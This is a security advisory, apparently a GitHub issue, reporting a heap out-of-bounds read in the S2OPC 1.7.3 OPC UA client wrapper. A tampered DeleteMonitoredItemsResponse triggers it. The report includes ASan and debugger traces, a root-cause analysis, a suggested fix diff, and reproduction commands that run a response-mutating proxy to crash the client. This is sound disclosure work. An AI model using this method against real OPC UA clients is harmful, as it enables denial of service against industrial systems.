## Summary I found a **real client-side memory-safety issue** in S2OPC 1.7.3 while exercising the **official** client wrapper example over a **real OPC UA session**. The bug is triggered when a valid `DeleteMonitoredItemsRequest` containing **one** monitored item is sent by the client, but the corresponding `DeleteMonitoredItemsResponse` is maliciously altered so that `NoOfResults` becomes **2** instead of **1**. The client wrapper then enters the response-processing loop using the **server-controlled** result count as the iteration bound, and on the second iteration it reads `pMonItReq->MonitoredItemIds[1]` even though the locally saved request only contains a **single** `MonitoredItemId`. This is not a parser-only testcase and not an API misuse case while the issue is reachable through the normal wrapper workflow: 1. `CreateSession` 2. `ActivateSession` 3. `CreateSubscription` 4. `CreateMonitoredItems` 5. `DeleteMonitoredItems` The crash occurs in the library itself, inside the client wrapper state machine, before user code gets a chance to consume the returned delete results. --- ## Version The issue was reproduced against: - **S2OPC 1.7.3** - **Source commit:** `b4c5c7d63cd69698461d514b905a7c92b3c377c4` - **Server used during reproduction:** official `toolkit_demo_server` - **Client used during reproduction:** official `s2opc_wrapper_subscribe` example --- ## Impact **A malicious OPC UA server, or a MITM able to modify a legitimate server response, can remotely crash an S2OPC client wrapper application** by returning more `DeleteMonitoredItemsResponse.Results` than the number of monitored item IDs saved in the original client request context. The strongest demonstrated impact is: - **client-side denial of service** - **reliable process abort under ASan** - **real network-path reachability through the official wrapper example** --- ## Affected path The issue involves the following code path in S2OPC 1.7.3: - **Request copy saved:** `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1004` - **Response handling entry:** `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2301` - **Loop controlled by response count:** `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2321` - **Out-of-bounds read site:** `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2327` - **Example caller:** `samples/ClientServer/client_wrapper/examples/subscribe.c:330` Relevant high-level flow: ```bash subscribe.c:330 -> SOPC_ClientHelper_Subscription_DeleteMonitoredItems -> SOPC_StaMac_NewDeleteMonitoredItems -> SOPC_EncodeableObject_Copy // request deep-copy into MIappCtx->req ... -> SOPC_StaMac_EventDispatcher -> LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse -> OOB read at state_machine.c:2327 ``` --- ## ASan evidence ```bash ================================================================= ==24123==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000d14 at pc 0x5943b85ffdce bp 0x75c77affe9b0 sp 0x75c77affe9a0 READ of size 4 at 0x502000000d14 thread T1 #0 0x5943b85ffdcd in LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2327 #1 0x5943b85ffdcd in SOPC_StaMac_EventDispatcher /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1610 #2 0x5943b85edbae in SOPC_ClientInternal_ToolkitEventCallback /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/libs2opc_client.c:493 #3 0x5943b8642e9a in onComEvent /home/weichuan/wc/S2OPC/src/ClientServer/api_toolkit/sopc_internal_app_dispatcher.c:131 #4 0x5943b8709eca in looper_loop /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_event_handler.c:108 #5 0x75c77dc94ac2 in start_thread nptl/pthread_create.c:442 #6 0x75c77dd268cf (/lib/x86_64-linux-gnu/libc.so.6+0x1268cf) 0x502000000d14 is located 0 bytes to the right of 4-byte region [0x502000000d10,0x502000000d14) allocated by thread T0 here: #0 0x5943b859afb7 in __interceptor_calloc (/home/weichuan/wc/S2OPC/build-asan/bin/s2opc_wrapper_subscribe+0x118fb7) #1 0x5943b87323af in SOPC_EncodeableObject_Copy /home/weichuan/wc/S2OPC/src/Common/opcua_types/sopc_encodeabletype.c:1407 #2 0x5943b85fa9dd in SOPC_StaMac_NewDeleteMonitoredItems /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1004 #3 0x5943b85f05c9 in SOPC_ClientHelper_Subscription_DeleteMonitoredItems /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/libs2opc_client.c:1770 #4 0x5943b8507b90 in main /home/weichuan/wc/S2OPC/samples/ClientServer/client_wrapper/examples/subscribe.c:330 #5 0x75c77dc29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 Thread T1 created by T0 here: #0 0x5943b853ec05 in pthread_create (/home/weichuan/wc/S2OPC/build-asan/bin/s2opc_wrapper_subscribe+0xbcc05) #1 0x5943b8701e11 in create_thread /home/weichuan/wc/S2OPC/src/Common/helpers_platform_dep/linux/p_sopc_threads.c:275 #2 0x5943b8701e11 in SOPC_Thread_Create /home/weichuan/wc/S2OPC/src/Common/helpers_platform_dep/linux/p_sopc_threads.c:336 #3 0x5943b870a702 in SOPC_Looper_Create /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_event_handler.c:167 #4 0x5943b8643393 in SOPC_App_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/api_toolkit/sopc_internal_app_dispatcher.c:215 #5 0x5943b860a661 in SOPC_Toolkit_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/configuration/sopc_toolkit_config.c:137 #6 0x5943b85e0d43 in SOPC_CommonHelper_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/frontend/common_wrapper/libs2opc_common_config.c:145 #7 0x5943b85071e3 in main /home/weichuan/wc/S2OPC/samples/ClientServer/client_wrapper/examples/subscribe.c:142 #8 0x75c77dc29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2327 in LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse Shadow bytes around the buggy address: 0x0a047fff8150: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0a047fff8160: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0a047fff8170: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00 00 0x0a047fff8180: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa 0x0a047fff8190: fa fa 05 fa fa fa 05 fa fa fa 05 fa fa fa fd fa =>0x0a047fff81a0: fa fa[04]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a047fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a047fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a047fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a047fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a047fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==24123==ABORTING Aborted (core dumped) ``` --- ## Root cause ### Short root cause statement `LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse()` trusts the server-controlled `DeleteMonitoredItemsResponse.NoOfResults` as the loop bound, but indexes the locally saved request array `pMonItReq->MonitoredItemIds[i]` without validating that `NoOfResults <= NoOfMonitoredItemIds` (or, more strictly, `NoOfResults == NoOfMonitoredItemIds`). ### Why the bug is real The bug depends on two implementation details that line up in practice: 1. **The original delete request is deep-copied and retained in the state machine context.** 2. **The response handler later uses the response result count to iterate, while retrieving monitored item IDs from the saved request.** The state-machine context for delete-monitored-items keeps both the response and the saved request. In other words, the implementation design itself relies on pairing: - `response.Results[i]` - with `request.MonitoredItemIds[i]` That pairing is only safe if the two counts are validated as consistent. ### GDB-backed runtime state The issue is fully visible in debugger state. #### 1. Request copy save point (`state_machine.c:1004`) ```bash req->NoOfMonitoredItemIds = 1 req->MonitoredItemIds[0] = 1 ``` This proves that the original delete request is valid and contains **exactly one** monitored item. #### 2. Response loop entry (`state_machine.c:2321`) ```bash pMonItResp->NoOfResults = 2 pMonItReq->NoOfMonitoredItemIds = 1 pMonItReq->MonitoredItemIds ptr = 0x502000000d10 valid bytes for MonitoredItemIds: [0x502000000d10, 0x502000000d14) loop will iterate i = 0 .. 1 ``` This is the core inconsistency: - response count = **2** - request count = **1** The saved request array contains exactly one 4-byte element. #### 3. Final iteration before crash (`state_machine.c:2327`) ```bash i = 1 &pMonItReq->MonitoredItemIds[1] = 0x502000000d14 base = 0x502000000d10 end(valid) = 0x502000000d14 ``` The address being dereferenced is **exactly one past the valid array end** which is a textbook **one-past-end heap out-of-bounds read**. ### Causal chain The complete fault chain is: 1. `subscribe.c` creates **one** monitored item through the official wrapper API. 2. `subscribe.c` later calls `SOPC_ClientHelper_Subscription_DeleteMonitoredItems(...)`. 3. `SOPC_StaMac_NewDeleteMonitoredItems()` deep-copies the request into `MIappCtx->req`. 4. The real server generates a legitimate `DeleteMonitoredItemsResponse` for one item. 5. A proxy changes only the response metadata so that `NoOfResults` becomes **2**, while keeping the response decodable. 6. `LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse()` iterates from `i = 0` to `i = 1` using the **response** count. 7. On iteration `i = 1`, it accesses `pMonItReq->MonitoredItemIds[1]`. 8. The saved request array contains only one element, so this dereference crosses the heap boundary and ASan aborts. ### Minimalized code shape of the bug The problem is equivalent to the following logic: ```c /* simplified shape */ for (int32_t i = 0; i < pMonItResp->NoOfResults; ++i) { /* BUG: response-controlled index used on request array */ uint32_t monId = pMonItReq->MonitoredItemIds[i]; ... } ``` The missing precondition is: ```c pMonItResp->NoOfResults == pMonItReq->NoOfMonitoredItemIds ``` Without that check, the response count becomes an attacker-controlled loop bound for a local heap array. --- ## POC [poc.zip](https://github.com/user-attachments/files/28907371/poc.zip) --- ## Reproduction ### Build From the repository root: ```bash env BUILD_DIR=build-asan \ S2OPC_CLIENTSERVER_ONLY=ON \ WITH_ASAN=ON \ ENABLE_TESTING=OFF \ ENABLE_SAMPLES=ON \ WARNINGS_AS_ERRORS=OFF \ ./build.sh --jobs 8 ``` ### Runtime assumptions Verified runtime setup: - wrapper client connects to proxy port **4842** - demo server listens on **4841** - unencrypted `SecurityPolicy#None` demo configuration is used ### Terminal 1: start the official server ```bash env TEST_SERVER_XML_CONFIG=./S2OPC_Server_Demo_Config_unencrypted_none.xml \ TEST_SERVER_XML_ADDRESS_SPACE=./S2OPC_Demo_NodeSet.xml \ TEST_USERS_XML_CONFIG=./S2OPC_Users_Demo_Config.xml \ ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \ ./toolkit_demo_server ``` Expected startup output: ```text S2OPC_Common - Version: 1.7.3, SrcCommit: b4c5c7d63cd69698461d514b905a7c92b3c377c4 S2OPC_ClientServer - Version: 1.7.3, SrcCommit: b4c5c7d63cd69698461d514b905a7c92b3c377c4 <Demo_Server: Server started ``` ### Terminal 2: start the proxy that mutates the response count ```bash python3 ua_proxy.py \ --listen-port 4842 \ --upstream-port 4841 \ --inflate-server-results-service-id 784 \ --inflate-server-results-occurrence 1 \ --inflate-server-results-count 2 ``` The important point is that the proxy does **not** feed a parser-only blob.\ It lets the real session run and only changes the first real `DeleteMonitoredItemsResponse` so that `NoOfResults` becomes `2`. Key log excerpt: ```bash cli->srv send: ... service=DeleteMonitoredItemsRequest srv->cli recv: ... service=DeleteMonitoredItemsResponse mutated server DeleteMonitoredItemsResponse occurrence 1: results_count=2 srv->cli send pass: ... service=DeleteMonitoredItemsResponse ``` ### Terminal 3: run the official wrapper example ```bash env ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \ SET_SUBSCRIBE_TIMEOUT=1 \ ./s2opc_wrapper_subscribe 'ns=1;s=TestObject_Counter' ``` `SET_SUBSCRIBE_TIMEOUT=1` is used to make the official example reach the delete-monitored-items path quickly. ### Expected result The client first behaves normally: ```bash Creation of subscription succeeded with revised parameters pubItv=500.000000 lifetimeCpt=10 keepAliveCpt=3. Creation of monitored item for node ns=1;s=TestObject_Counter succeeded Value change notification for node ns=1;s=TestObject_Counter: ... Value statuscode: OpcUa_Good ``` Then it crashes in the library: ```bash ==24123==ERROR: AddressSanitizer: heap-buffer-overflow READ of size 4 #0 LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse .../state_machine.c:2327 ``` ### Result analysis The proxy log proves that only the response count was altered.\ The ASan log proves that the crash occurs in the client wrapper response handler.\ The allocation stack proves that the over-read targets the deep-copied request array created by `SOPC_StaMac_NewDeleteMonitoredItems()`. This combination makes the issue a **real protocol-path client vulnerability**, not a synthetic decoder-only crash. --- ## Fix suggestion ### Security goal Before indexing any request-side array with `i`, the response handler must validate that the response result count is consistent with the saved request count. For this specific operation, the safest policy is: > **Require strict equality:**\ > `pMonItResp->NoOfResults == pMonItReq->NoOfMonitoredItemIds` A weaker `>` check avoids this immediate OOB read, but still allows partially inconsistent state handling. Since the implementation semantically pairs each `Results[i]` with a corresponding `MonitoredItemIds[i]`, strict equality is the cleaner invariant. ### Recommended library-side fix Add a **consistency gate** immediately before the loop that consumes `DeleteMonitoredItemsResponse.Results`. #### Minimal fix sketch ```diff diff --git a/src/ClientServer/frontend/client_wrapper/internal/state_machine.c b/src/ClientServer/frontend/client_wrapper/internal/state_machine.c index XXXXXXX..YYYYYYY 100644 --- a/src/ClientServer/frontend/client_wrapper/internal/state_machine.c +++ b/src/ClientServer/frontend/client_wrapper/internal/state_machine.c @@ -2301,6 +2301,36 @@ static void LockedStaMac_ProcessMsg_DeleteMonitoredItemsResponse(...) SOPC_DeleteMonitoredItems_Ctx* MIappCtx = ...; OpcUa_DeleteMonitoredItemsResponse* pMonItResp = ...; OpcUa_DeleteMonitoredItemsRequest* pMonItReq = MIappCtx->req; + + /* Defensive validation of saved request / received response pairing */ + if (NULL == pMonItReq || NULL == pMonItResp) + { + /* existing error path / disconnect / request failure handling */ + goto delete_monitored_items_error; + } + + if ((pMonItReq->NoOfMonitoredItemIds > 0 && NULL == pMonItReq->MonitoredItemIds) || + (pMonItResp->NoOfResults > 0 && NULL == pMonItResp->Results)) + { + /* malformed local/request state or malformed response payload */ + goto delete_monitored_items_error; + } + + /* + * IMPORTANT: + * Each response result is consumed together with the corresponding + * request MonitoredItemIds[i]. Therefore the counts must match. + */ + if (pMonItResp->NoOfResults != pMonItReq->NoOfMonitoredItemIds) + { + /* treat as protocol inconsistency / malformed server response */ + goto delete_monitored_items_error; + } + for (int32_t i = 0; i < pMonItResp->NoOfResults; ++i) { /* existing logic that uses pMonItReq->MonitoredItemIds[i] */ ... } + +delete_monitored_items_error: + /* existing failure propagation / cleanup path */ + ... ``` ### Important properties of the fix - prevents attacker-controlled response counts from driving local request-array indexing - rejects malformed or inconsistent server replies early - preserves the semantic invariant that `Results[i]` matches `MonitoredItemIds[i]` - protects future maintenance work by making the assumption explicit